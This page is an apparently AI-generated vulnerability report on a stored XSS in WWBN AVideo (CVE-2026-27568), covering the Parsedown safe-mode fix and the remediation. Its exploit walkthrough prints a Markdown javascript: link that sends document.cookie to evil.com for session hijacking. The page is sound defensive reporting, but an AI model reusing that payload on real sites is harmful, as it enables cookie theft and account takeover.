CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27568

Comments That Kill: Inside the AVideo Stored XSS (CVE-2026-27568)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 24, 2026·7 min read·39 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability exists in WWBN AVideo versions prior to 21.0. The application uses the Parsedown library to render user comments but failed to enable 'Safe Mode'. This allows authenticated attackers to inject malicious JavaScript via Markdown links (e.g., `[Click Me](javascript:...)`). When an administrator or other user clicks the link, the script executes, leading to session cookie theft and account takeover.

In the world of web security, few things are as timeless as Cross-Site Scripting (XSS). It’s the cockroach of vulnerabilities—it survives nuclear wars and framework rewrites. CVE-2026-27568 represents a classic failure in the 'sanitize your inputs' department within WWBN AVideo, a popular open-source video platform. By trusting a Markdown parser's default configuration, the developers inadvertently allowed attackers to turn the comment section into a weaponized payload delivery system. This report dives deep into how a missing boolean flag in a PHP library allowed `javascript:` URIs to slip past the goalie, leading to session hijacking and potential administrative takeover.

The Hook: The YouTube Clone That cloned a Bug

AVideo (formerly YouPHPTube) is exactly what it sounds like: a robust, open-source solution for hosting your own video streaming service. It’s complex, feature-rich, and written in PHP—the holy trinity for security researchers looking for a fun weekend. One of the core features of any social platform is user interaction, specifically the ability to leave comments on videos. To make these comments look pretty, developers often reach for Markdown, a lightweight markup language that converts text into HTML.

In this case, AVideo utilized Parsedown, a very popular PHP library for parsing Markdown. The logic seems sound on paper: user submits text, server parses text, server displays HTML. What could possibly go wrong? Well, in the security world, the answer is always 'everything'. The vulnerability lies not in the existence of the feature, but in the implicit trust placed in the library's default settings. It's akin to buying a chainsaw that comes without the safety guard installed by default—sure, it cuts wood, but it might also take your leg off if you aren't paying attention.

The specific component at fault is objects/functionsSecurity.php. This file contains the helper functions intended to keep the application safe. Ironically, the function responsible for rendering HTML from Markdown became the very vector for injection. By failing to sanitize the output of the parser, the application opened the door for Stored Cross-Site Scripting (XSS), turning every comment section into a potential minefield for administrators.

The Flaw: Trusting Defaults is a Deadly Sin

The root cause of CVE-2026-27568 is a fundamental misunderstanding of how the Parsedown library operates. Many developers assume that a 'parser' implies a 'sanitizer'. They think, "I'm converting Markdown to HTML, so surely the library won't let users inject malicious scripts, right?" Wrong. By default, Parsedown is a faithful translator. If you give it a link with a javascript: protocol, it assumes you know what you are doing and renders it. It doesn't judge; it just executes.

Technically, this is an Improper Neutralization of Input During Web Page Generation (CWE-79). The application accepts user input (the comment), stores it in the database, and then reflects it back to other users without adequate filtering. The flaw isn't just that it allows HTML tags (though it does that too if not configured otherwise); the more subtle and dangerous vector here is the javascript: pseudo-protocol within Markdown links.

When a user submits a comment like [Click Me](javascript:alert(1)), a standard Markdown parser outputs <a href="javascript:alert(1)">Click Me</a>. This is valid HTML. The browser sees this and says, "Okay, when clicked, I will run this JavaScript code." Because this script runs in the victim's browser context (the Origin), it has access to everything the victim has access to—including document.cookie and the DOM. The developers of AVideo missed the critical configuration step: telling Parsedown to be paranoid.

The Code: The Smoking Gun

Let's look at the code. It is brief, which makes the oversight even more painful. In objects/functionsSecurity.php, the function markDownToHTML was responsible for the conversion. Before version 21.0, it looked essentially like this:

function markDownToHTML($text) {
    $parsedown = new Parsedown();
    // Convert Markdown to HTML
    $html = $parsedown->text($text);
    return $html;
}

Do you see the issue? It instantiates the class and immediately runs the text() method. There is no configuration. There is no setSafeMode(true). It is running 'naked'. This allows raw HTML pass-through and unsafe URI schemes.

The fix, applied in commit ade348ed6d28b3797162c3d9e98054fb09ec51d7, is a textbook example of how to lock this down. The developer realized that the library supports a 'Safe Mode' which escapes HTML markup and, crucially, sanitizes URLs to prevent XSS.

function markDownToHTML($text) {
    $parsedown = new Parsedown();
 
    // FIX: Enable safe mode to prevent XSS via raw HTML
    $parsedown->setSafeMode(true);
    
    // FIX: Also escape any markup that bypasses safe mode
    $parsedown->setMarkupEscaped(true);
 
    // Convert Markdown to HTML
    $html = $parsedown->text($text);
    return $html;
}

By adding $parsedown->setSafeMode(true);, the library now treats user input as hostile. If a user tries to inject <script>, it gets encoded to &lt;script&gt;. If they try the javascript: link trick, Parsedown filters it out or renders it inert. It’s a two-line fix that saves the entire platform.

The Exploit: Weaponizing the Comment Section

So, how do we break this? Since this is a Stored XSS, we don't need to trick a user into clicking a weird URL in an email. We just need to leave a comment on a popular video and wait. The trap is laid in the database itself.

Step 1: Reconnaissance First, we verify the target is running an older version of AVideo. We create a standard user account—nothing fancy, just a regular viewer.

Step 2: The Injection We navigate to a video with high traffic. We craft a comment that looks innocent but carries a payload. We use Markdown syntax to disguise the attack.

Payload:

Wow, this video is amazing! I found a [detailed tutorial here](javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))) that explains the ending.

Step 3: The Trigger The server processes our markdown using the insecure markDownToHTML function. It saves the following HTML to the database:

<p>Wow, this video is amazing! I found a <a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))">detailed tutorial here</a> that explains the ending.</p>

Step 4: Execution An Administrator logs in to moderate comments or watch videos. They see our helpful link. Curious about the "tutorial," they click it.

Immediately, the JavaScript executes. It reads document.cookie, base64 encodes it (to ensure safe transport), and sends it to our listener at evil.com. We now have their session ID. We set that cookie in our browser, refresh the page, and suddenly, we are the Administrator.

The Impact: From Cookie to King

Why is this a big deal? "It's just a comment," you might say. In web application security, XSS is the gateway drug to total compromise. Once an attacker has administrative session cookies, the game is usually over.

In the context of AVideo, an administrator has broad powers. They can delete videos, ban users, and change site settings. But more importantly, many CMS-like platforms allow administrators to upload files—plugins, logos, or system updates. If an attacker can impersonate an admin, they can often find a way to upload a PHP shell (e.g., via a 'custom logo' upload that doesn't validate file extensions strictly enough).

This escalates the vulnerability from "I can steal your session" (Confidentiality/Integrity loss) to "I can run code on your server" (Remote Code Execution). Even without RCE, the attacker can deface the site, distribute malware to other users via the same XSS vector, or dump the user database. The 'Medium' severity score (CVSS 5.4) feels deceptive here; in the hands of a skilled attacker, the practical impact is Critical.

The Fix: Stopping the Bleeding

The remediation is straightforward: Update to AVideo version 21.0. This version includes the patch that enables safe mode in Parsedown.

If you are stuck on a legacy version and cannot upgrade (perhaps you've heavily customized the core code), you must manually patch objects/functionsSecurity.php. Locate the markDownToHTML function and inject the safety flags:

$parsedown->setSafeMode(true);
$parsedown->setMarkupEscaped(true);

Defense in Depth: Don't stop there. XSS is pervasive. You should implement a Content Security Policy (CSP). A strong CSP can prevent the execution of inline scripts and restrict where data can be sent (connect-src). If you had a CSP header like Content-Security-Policy: default-src 'self'; script-src 'self';, the javascript: link would likely fail to execute, or at the very least, the fetch to evil.com would be blocked by the browser. Never rely on just one layer of defense.

Official Patches

WWBNGitHub Commit Diff

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
EPSS Probability
0.04%

Affected Systems

WWBN AVideo < 21.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
AVideo
WWBN
< 21.021.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored XSS)
CVSS v4.05.1 (Medium)
ImpactSession Hijacking, Privilege Escalation
LibraryParsedown 1.7.4
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

NucleiDetection Template Available

Vulnerability Timeline

Fix committed to main branch
2026-02-19
GHSA Advisory published
2026-02-24
AVideo 21.0 Released
2026-02-24

References & Sources

  • [1]GHSA Advisory
  • [2]AVideo 21.0 Release Notes

More Reports

•1 day ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•1 day ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
3 views•4 min read
•1 day ago•CVE-2026-47760
8.7

CVE-2026-47760: Cross-Site Scripting (XSS) via SVG Namespace Sanitizer Bypass in TinyMCE

TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.

Alon Barad
Alon Barad
14 views•7 min read
•1 day ago•CVE-2026-47759
8.7

CVE-2026-47759: Stored Cross-Site Scripting (XSS) via Unsanitized data-mce-* Serialization Bypass in TinyMCE

CVE-2026-47759 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting multiple active branches of the TinyMCE rich text editor. The flaw resides in the editor's handling of user-controlled, prefixed internal attributes, such as data-mce-href, data-mce-src, and data-mce-style. When processing raw HTML inputs, TinyMCE's internal validation schema neglects to inspect these custom prefixed attributes. During HTML serialization, the editor's engine extracts these unsanitized values and copies them back into standard executable attributes, overwriting any previously sanitized standard values and leading to execution of arbitrary code.

Amit Schendel
Amit Schendel
8 views•7 min read
•1 day ago•CVE-2026-47762
8.7

CVE-2026-47762: Stored Cross-Site Scripting (XSS) in TinyMCE Protect Pattern Restoration

A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.

Amit Schendel
Amit Schendel
7 views•8 min read